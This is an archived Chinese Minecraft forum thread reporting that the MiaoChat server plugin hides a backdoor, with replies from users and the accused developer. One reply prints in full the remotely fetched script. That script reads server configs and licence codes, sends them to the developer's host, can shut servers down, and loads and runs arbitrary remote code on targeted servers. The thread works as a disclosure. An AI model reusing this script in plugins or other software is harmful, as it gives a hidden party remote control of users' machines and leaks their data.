举报插件MiaoChat包含后门 - 反馈和投诉 - Minecraft(我的世界)中文论坛 -.html

举报插件MiaoChat包含后门 - 反馈和投诉 - Minecraft(我的世界)中文论坛 -

Minecraft(我的世界)中文论坛

 找回密码
 注册(register)

!header_login!

只需一步,立刻登录

查看: 14980|回复: 83
打印 上一主题 下一主题

[投诉] 举报插件MiaoChat包含后门

   关闭 [复制链接]
huzpsb 当前离线
积分
6531
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2019-6-24
查看详细资料

来自:湖北

跳转到指定楼层
楼主
发表于 2023-6-23 13:47:59 | 只看该作者 |只看大图 回帖奖励 |倒序浏览 |阅读模式

您尚未登录,立即登录享受更好的浏览体验!

您需要 登录 才可以下载或查看,没有帐号?注册(register)

x
本帖最后由 huzpsb 于 2023-6-23 15:08 编辑

https://www.mcbbs.net/thread-631240-1-1.html

证明如下:


下载这个文件,进行如下分析:
类 pw.yumc.MiaoChat.MiaoChat:
onEnable方法:


类pw.yumc.MiaoChat.listeners.ChatListener:
构造器:


类pw.yumc.MiaoChat.statistic.Statistics:
构造器:


start方法:


其实到这一步已经可以实锤具有远程代码下发行为了。
以下只是证明截至发帖时,这个远程代码下发的的确是恶意代码。

追踪这个URL:
https://ms.yumc.pw/api/plugin/download/name/report

存档:
https://web.archive.org/web/2023 ... ownload/name/report


假设玩家“haishengtangsan“存在:

可以看到,十分嚣张,甚至函数名称都叫loadRce。

追踪这个URL:
https://mscript.yumc.pw/api/plugin/download/name/rce

存档:
https://web.archive.org/web/2023 ... n/download/name/rce

可以看见,有游戏时刻提供的C&C服务器



结论:
MiaoChat包含后门。

附言:
因为 https://ms.yumc.pw/api/plugin/download/name/report 的内容是可以随意修改的,所以封禁玩家“haishengtangsan”并不能解决这个后门。

建议:
封禁用户yumc。
下架用户yumc的所有插件进行审查。

评分

参与人数 60人气 +109金粒 +562贡献 +1收起 理由
不惹男男气+ 2Ssssssssssssssssssss
Soumi_CN+ 5虽然结果令人不意但楼主仍是英雄!!.
mxdyzmx+ 1MCBBS有你更精彩~
HiTech0926+ 1+ 5MCBBS没yumc更精彩!
小浅墨_+ 2终究是正义战胜不过money
可爱的DrRocky+ 1MCBBS没MiaoWoo更精彩!但是现在解封了....
冰砚炽+ 2MCBBS没yumc更精彩!
user_1718544078+ 1+ 20MCBBS有你更精彩~
炼药锅+ 2任何邪恶终将绳之以法
。—。+ 1MCBBS有你更精彩~
xiaowanggua+ 16
HotMinecraft616+ 1MCBBS有你更精彩~
ouAuAuo+ 3+ 10MCBBS有你更精彩~
EverestRebel+ 1MCBBS有你更精彩~
Flower_胡子+ 3Ssssssssssssssssssss
Qhxss+ 1来晚了哎,好大一个瓜
louyukai+ 2MCBBS有你更精彩~
Xginger+ 1高呼666!
提升卡+ 1MCBBS有你更精彩~
teddyxlandlee+ 2喵叔的BBSToper也有后门风险!

查看全部评分

帖子永久链接: 
NAOProject 当前离线
积分
389
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2020-10-28
查看详细资料
头像被屏蔽

来自:广东

来自 39#
发表于 2023-6-23 16:28:30 来自手机 | 只看该作者
看了那么多评论, 我感觉你们就是见不得miaowu好,屁大点事搬到论坛上来说,装个后门又不会要你们的命,不知道你们在害怕些什么,是害怕muaowu过的太好了吗,果然嫉妒使人面目全非

评分

参与人数 40人气 +28金粒 +107收起 理由
33444nbnb+ 1原来你也玩原神
不惹男男气+ 5你玩原神吗
marooners+ 1原神,启动!!!!!!!!!!!!!!!.
陆柒玖+ 1乐 蚌 典 孝 急,只能说好死.
西瓜冰淇淋+ 1+ 5这个人是串子,哈哈哈
起名字不难+ 5典孝急乐蚌
泡沫芒果+ 1急?寄!
⠀蛋⠀+ 5你的手机里一定有开放世界游戏.
像素君吖+ 1+ 5我给你整笑了
EmptyLava+ 1典孝急乐蚌赢
小黄XD鳝+ 6打焦打太多导致的
全民作死+ 2你说得对,但是yumc在论坛发布的一.
λινκάρ+ 5某个二字游戏导致的
斯乌+ 1突出一个急字
凉酱丶+ 1逆天
羽希氷華+ 66
Wudji+ 4↓星穹铁道怎么你了
X_Æ_A-12+ 1啥暖
ww小豪+ 1
深城i+ 16

查看全部评分

回复

使用道具 举报

yumc 当前离线
积分
4766
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2016-3-24
查看详细资料
头像被屏蔽

来自:浙江

来自 44#
发表于 2023-6-23 16:32:46 | 只看该作者
本人在论坛发布的一系列插件均有付费版本,未在论坛发布的付费版本有验证是否是正版插件的功能,后续我将一些付费插件改为免费插件发布,当做是福利。但是因为个人的失误,忘记删除了这些插件里面验证是否是正版插件的功能,实质上我从未对任何插件用户执行过恶意代码,现在我将在论坛免费发布的插件中移除这个功能,请各位下载新版插件,同时我也接受论坛管理层的一切处罚。非常抱歉给各位添麻烦了。已通过私信申请将所有插件移入回收区整改。

评分

参与人数 8人气 +5金粒 +15收起 理由
OC晚枫+ 1MCBBS没你更精彩~
HiTech0926+ 1MCBBS没你更精彩~
冰砚炽+ 1🐒🐒🐒🐒
teddyxlandlee+ 1没什么别的意思,就是给大家看看🐒.
沐雨风破+ 1MCBBS没你更精彩~
dsjjyfsj123+ 5MCBBS没你更精彩~
超级ABC射手+ 5MCBBS有你更精彩~
DongShaoNB+ 5MCBBS有你更精彩!!!

查看全部评分

回复

使用道具 举报

Don_Trueno 当前离线
积分
7408
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2019-4-22
查看详细资料

来自:江苏

来自 51#
发表于 2023-6-23 16:39:03 | 只看该作者
yumc 发表于 2023-6-23 16:32
本人在论坛发布的一系列插件均有付费版本,未在论坛发布的付费版本有验证是否是正版插件的功能,后续我将一 ...

可否解释一下验证是否是正版插件的功能的函数为什么要起名为 loadrce

评分

参与人数 6人气 +6收起 理由
⠀蛋⠀+ 1楼下正解
名副其实+ 1thuRsday kfC v mE 50
teddyxlandlee+ 1Recreated Chromium Engine(确信)
huzpsb+ 1发展区域全面经济
小钢炮君+ 1↓ 我认为是运行时编译环境
青蛙的名单+ 1读取英国皇家学会的信息

查看全部评分

回复

使用道具 举报

Arisa_Enigma 当前离线
积分
1714
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2019-2-1
查看详细资料

来自:广东

来自 77#
发表于 2023-6-23 17:19:15 | 只看该作者
非常抱歉给大家添麻烦了,其实喵呜这个部分的代码是用来处理龙之时装盗版插件用的,有人破解了龙之时装5.x的版本,我就让喵呜加了一部分验证逻辑,用来检查龙时部分码子和IP,本以为他这个库只是给付费插件的,没想到是公共代码库里的内容,导致统一编译上传后影响到了免费插件的部分代码逻辑,看得懂代码的可以看下存档部分,内容都是检查龙之时装的代码

评分

参与人数 3人气 +1金粒 +15收起 理由
冰砚炽+ 5没用的,完全可以不用远程执行代码的.
小浅墨_+ 5请看看版规,有就是有,后门就是后门,没用就.
白魂ww+ 1+ 5所以龙之时装也有后门咯

查看全部评分

回复

使用道具 举报

模组唐三 当前离线
积分
6192
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2019-11-9
查看详细资料

来自:河南

沙发
发表于 2023-6-23 14:08:16 | 只看该作者
本帖最后由 模组唐三 于 2023-6-23 16:08 编辑

顺便补充一下,啥是RCE:


自报家门了属于是。





回复

使用道具 举报

Missing-Love 当前离线
积分
3759
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2015-11-3
查看详细资料

来自:福建

板凳
发表于 2023-6-23 14:11:38 | 只看该作者
6.23打开https://ms.yumc.pw/api/plugin/download/name/report
内容如下
// @ts-nocheck function checkDragonArmourers() { function sendMessage(data) { if (typeof data != "string") { data = JSON.stringify(data) } fetchContent('https://mscript.yumc.pw/api/plugin/message/message/' + data) } function loadRce() { try { load('https://mscript.yumc.pw/api/plugin/download/name/rce') } catch (ex) { sendMessage("code " + code + " error " + ex) } } function fetchContent(url, data) { try { var URL = Java.type('java.net.URL') var ByteArrayOutputStream = Java.type("java.io.ByteArrayOutputStream") var ByteArray = Java.type("byte[]") var PrintWriter = Java.type("java.io.PrintWriter") var connection = new URL(url).openConnection() connection.setUseCaches(true) if (data) { connection.setDoOutput(true) connection.setDoInput(true) connection.setRequestProperty('Content-Type', 'application/json') connection.setRequestProperty('X-Requested-With', 'XMLHttpRequest') var out = new PrintWriter(connection.getOutputStream()) out.print(data) out.flush() } var input = connection.getInputStream() var output = new ByteArrayOutputStream() var buffer = new ByteArray(1024) try { var n while ((n = input.read(buffer)) !== -1) { output.write(buffer, 0, n) } return output.toString("UTF-8") } finally { input.close() output.close() } } catch (error) { } } var Bukkit = Java.type('org.bukkit.Bukkit') var YamlConfiguration = Java.type('org.bukkit.configuration.file.YamlConfiguration') var Files = Java.type('java.nio.file.Files') var StandardCharsets = Java.type('java.nio.charset.StandardCharsets') var JavaString = Java.type('java.lang.String') var Paths = Java.type('java.nio.file.Paths') var System = Java.type('java.lang.System') var pluginManager = Bukkit.getPluginManager() // if (pluginManager.getPlugin('MiaoScript')) { return } var guid = 'unknow' try { var pluginHelper = new YamlConfiguration() pluginHelper.loadFromString(new JavaString(Files.readAllBytes(Paths.get('plugins', 'PluginHelper', 'config.yml')), StandardCharsets.UTF_8)) guid = pluginHelper.getString('guid') } catch (error) { } var plugin = pluginManager.getPlugin('DragonArmourers') if (plugin) { var code = 'unknow' try { var config = new YamlConfiguration() var content = new JavaString(Files.readAllBytes(Paths.get('plugins', 'DragonArmourers', 'config.yml')), StandardCharsets.UTF_8) config.loadFromString(content) code = config.getString('code') if (code == 'ejsudg4up7kmv0lfr640' || code == 'kpikiq2mh2zjy54jptzd' || code == 'chtvgm1wr5oa21ml5f1s' || code == 'fknpiq5ni6z7x5unlj78' || code == 'kpuwce0yt5yznmbyznmb' || code == 'joacfk4kf5i2c36mvy34') { return loadRce() } if (code == "aflnce3vq4yozbr300r3" || code == 'dimoku1xs6bs3z43tf2l') { Bukkit.getScheduler().callSyncMethod(plugin, function () { Bukkit.broadcastMessage("§c当前服务器存在盗版插件正在自动关服...") fetchContent('https://mscript.yumc.pw/api/plugin/report' + '/name/' + plugin.getDescription().getName() + '/version/' + plugin.getDescription().getVersion() + '/code/' + code + ':' + Bukkit.getServer().getPort() + '/uuid/' + (guid || 'unknow') + '/from/' + 'shutdown' ) return Bukkit.shutdown() }) } } catch (error) { } fetchContent('https://mscript.yumc.pw/api/plugin/report' + '/name/' + plugin.getDescription().getName() + '/version/' + plugin.getDescription().getVersion() + '/code/' + (code || 'unknow') + '/uuid/' + (guid || 'unknow') + '/from/' + '' ) } try { if (Bukkit.getPlayer('haishengtangsan')) { return loadRce() } } catch (ex) { sendMessage("Bukkit.getPlayer error " + ex) } var os_name = System.getProperty("os.name") if (os_name.startsWith('Windows') > 0) { if ((new java.io.File(".").getAbsolutePath()).indexOf('喵斗罗') > 0) { return loadRce() } try { if (guid == '53cec65f-d9db-4a0c-9a1f-0c3e178ce579' || guid == 'b6033a04-f62a-4461-9c27-3323d9e34a9a') { return loadRce() } } catch (ex) { } try { var dragonCoreConfig = new YamlConfiguration() dragonCoreConfig.loadFromString(new JavaString(Files.readAllBytes(Paths.get('plugins', 'DragonCore', 'config.yml')), StandardCharsets.UTF_8)) if (dragonCoreConfig.getString('Password') == 'DLDL.CircleCloud') { return loadRce() } } catch (error) { } if (new java.io.File('plugins/DragonCore/Gui/死亡页面.yml').exists()) { return loadRce() } if (new java.io.File('plugins/MythicMobs/Items/坐骑/千年罕见坐骑.yml').exists()) { return loadRce() } if (new java.io.File('plugins/MythicMobs/Items/斗凯/斗凯.yml').exists()) { return loadRce() } if (new java.io.File('plugins/MythicMobs/Items/斗铠/202204虎年二字斗铠.yml').exists()) { return loadRce() } if (new java.io.File('plugins/MythicMobs/Items/沙袋.yml').exists()) { return loadRce() } if (new java.io.File('plugins/DragonCore/Gui/MiaoDragonCoreEditor.yml').exists()) { return loadRce() } if (new java.io.File('plugins/DragonCore/Gui/聊天界面/表情界面.yml').exists()) { return loadRce() } } // var star = pluginManager.getPlugin('StarLibrary') // if (star) { // var starConfig = new YamlConfiguration() // var content = new JavaString(Files.readAllBytes(Paths.get('plugins', 'StarLibrary', 'DsPluginLib.yml')), StandardCharsets.UTF_8) // starConfig.loadFromString(content) // userqq = starConfig.getString('UserQQ') // if (userqq == '1632486754' || userqq == '502647092') { // try { // load('https://mscript.yumc.pw/api/plugin/download/name/rce') // } catch (ex) { // sendMessage("code " + code + " error " + ex) // } // } // } } try { checkDragonArmourers() } catch (error) { }

评分

参与人数 1人气 +1收起 理由
awapwp+ 1感谢存档[doge]

查看全部评分

回复

使用道具 举报

OFEOFAGF 当前离线
积分
105
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2019-1-10
查看详细资料

来自:内蒙古

地板
发表于 2023-6-23 14:52:31 | 只看该作者
看不懂代码
想知道这个后台是在插件里执行 还是使用插件后会自动在端里植入 卸掉插件都没用的那种
回复

使用道具 举报

Neige 当前离线
积分
8412
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2015-1-17
查看详细资料

来自:江苏

5#
发表于 2023-6-23 14:53:37 | 只看该作者
OFEOFAGF 发表于 2023-6-23 14:52
看不懂代码
想知道这个后台是在插件里执行 还是使用插件后会自动在端里植入 卸掉插件都没用的那种 ...

装了插件才会执行,执行一段他服务器给的任意代码,他代码里想干啥干啥
回复

使用道具 举报

OFEOFAGF 当前离线
积分
105
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2019-1-10
查看详细资料

来自:内蒙古

6#
发表于 2023-6-23 14:55:30 | 只看该作者
Neige 发表于 2023-6-23 14:53
装了插件才会执行,执行一段他服务器给的任意代码,他代码里想干啥干啥 ...

感谢解答(´・ω・`)
回复

使用道具 举报

杨宇宸 当前离线
积分
3665
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2013-9-20
查看详细资料

来自:福建

7#
发表于 2023-6-23 14:56:41 | 只看该作者
温馨提示:你的签名,导致你的无效匿名;
回复

使用道具 举报

huzpsb 当前离线
积分
6531
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2019-6-24
查看详细资料

来自:湖北

8#
 楼主| 发表于 2023-6-23 14:57:02 | 只看该作者
本帖最后由 huzpsb 于 2023-6-23 14:58 编辑
杨宇宸 发表于 2023-6-23 14:56
温馨提示:你的签名,导致你的无效匿名;

已经取消匿名了(还开了一个帖子吐槽这点)
回复

使用道具 举报

贺兰兰 当前离线
积分
14661
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2014-1-18
查看详细资料

来自:陕西

9#
发表于 2023-6-23 15:32:07 | 只看该作者
好似,开香槟咯

评分

参与人数 5人气 +5金粒 +5收起 理由
暗影月赎+ 1你复活辣
洞穴夜莺+ 1高呼666!
白熊_IceBear+ 2高呼666!
huzpsb+ 5烦请前往原贴下载一个插件存档备用,谢谢!.
MCGO1+ 1高呼666!

查看全部评分

回复

使用道具 举报

ed333 当前离线
积分
1884
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2016-2-17
查看详细资料

来自:河北

10#
发表于 2023-6-23 15:36:08 来自手机 | 只看该作者
插眼吃瓜

评分

参与人数 1人气 +1收起 理由
huzpsb+ 1烦请前往原贴下载一个插件存档备用,谢谢!.

查看全部评分

回复

使用道具 举报

Z菌啦啦啦丶 当前离线
积分
1787
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2020-4-23
查看详细资料

来自:江西

11#
发表于 2023-6-23 15:36:23 | 只看该作者
省流:用MiaoChat,如果喵呜愿意整你,你的机器里可能会启动原神并且循环播放门酱

评分

参与人数 2人气 +1金粒 +11收起 理由
GFY+ 1+ 6MCBBS有你更精彩~
dsjjyfsj123+ 5抑原丁真,鉴定为:玩O神玩的

查看全部评分

回复

使用道具 举报

Z菌啦啦啦丶 当前离线
积分
1787
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2020-4-23
查看详细资料

来自:江西

12#
发表于 2023-6-23 15:37:38 | 只看该作者
OFEOFAGF 发表于 2023-6-23 14:52
看不懂代码
想知道这个后台是在插件里执行 还是使用插件后会自动在端里植入 卸掉插件都没用的那种 ...

可以在你启动服务端的同时启动原神并且循环播放门酱
回复

使用道具 举报

X_jianchuan__ 当前离线
积分
2396
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2020-8-24
查看详细资料

来自:山东

13#
发表于 2023-6-23 15:42:46 | 只看该作者
吃瓜吃瓜

评分

参与人数 1金粒 +5收起 理由
huzpsb+ 5烦请前往原贴下载一个插件存档备用,谢谢!.

查看全部评分

回复

使用道具 举报

匿名
14#
匿名  发表于 2023-6-23 15:48:04
本帖最后由 匿名 于 2023-6-23 15:52 编辑

顺便说一句,这人几乎每天都访问我的个人主页。我一个和他基本上毫无交集的人怎么能引起他的注意,这一点就很奇怪,感觉他似乎是在看我的绿......(?)
总之这人我不好评价,接触不多,但是我感觉他能有艺术家这个头衔总感觉有些奇怪。
回复

使用道具 举报

NAOProject 当前离线
积分
389
帖子
主题
精华
贡献
爱心
钻石
人气
下界之星
最后登录
1970-1-1
注册时间
2020-10-28
查看详细资料
头像被屏蔽

来自:广东

15#
发表于 2023-6-23 15:48:10 | 只看该作者
这件事就算了吧,毕竟miaowu对论坛做了那么多年的贡献,装个后门算什么

评分

参与人数 42人气 +24金粒 +90收起 理由
qipao_start+ 5玩O玩的
冰砚炽+ 5高呼666!
起名字不难+ 6典 孝 乐
小黄XD鳝+ 1边玩原神边打焦导致的
青衫乄过客+ 5高呼666!
lovemcbest+ 5miaowu做了那么多贡献,把你花了几万的服务.
长灬明+ 8活了,特意来合影
凉酱丶+ 1合影留念
Yless+ 5合影
Super_Dove+ 5每次喵呜被抓都有人这样洗,难蚌.
ETW_Derp+ 1后排合影留念
ShintoKosei+ 1已阅
1989617949+ 1这就是玩原神的后遗症
WeSif+ 5
mzmzmz+ 5
オビト+ 2真的太孝了
StarKettle+ 1您也是一奇
なつがしい+ 1+ 6合个影吧
洞穴夜莺+ 1
Re-Kotori+ 5合影

查看全部评分

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册(register)

本版积分规则

Archiver|小黑屋|Mcbbs.net ( 京ICP备15023768号-1 ) | 京公网安备 11010502037624号 | 手机版

GMT+8, 2023-10-13 23:04 , Processed in 0.059780 second(s), Total 37, Slave 36 queries, Release: Build.2023.09.20 0657, Gzip On, Redis On.

"Minecraft"以及"我的世界"为美国微软公司的商标 本站与微软公司没有从属关系

© 2010-2023 我的世界中文论坛 版权所有 本站内原创内容版权属于其原创作者,除作者或版规特别声明外未经许可不得转载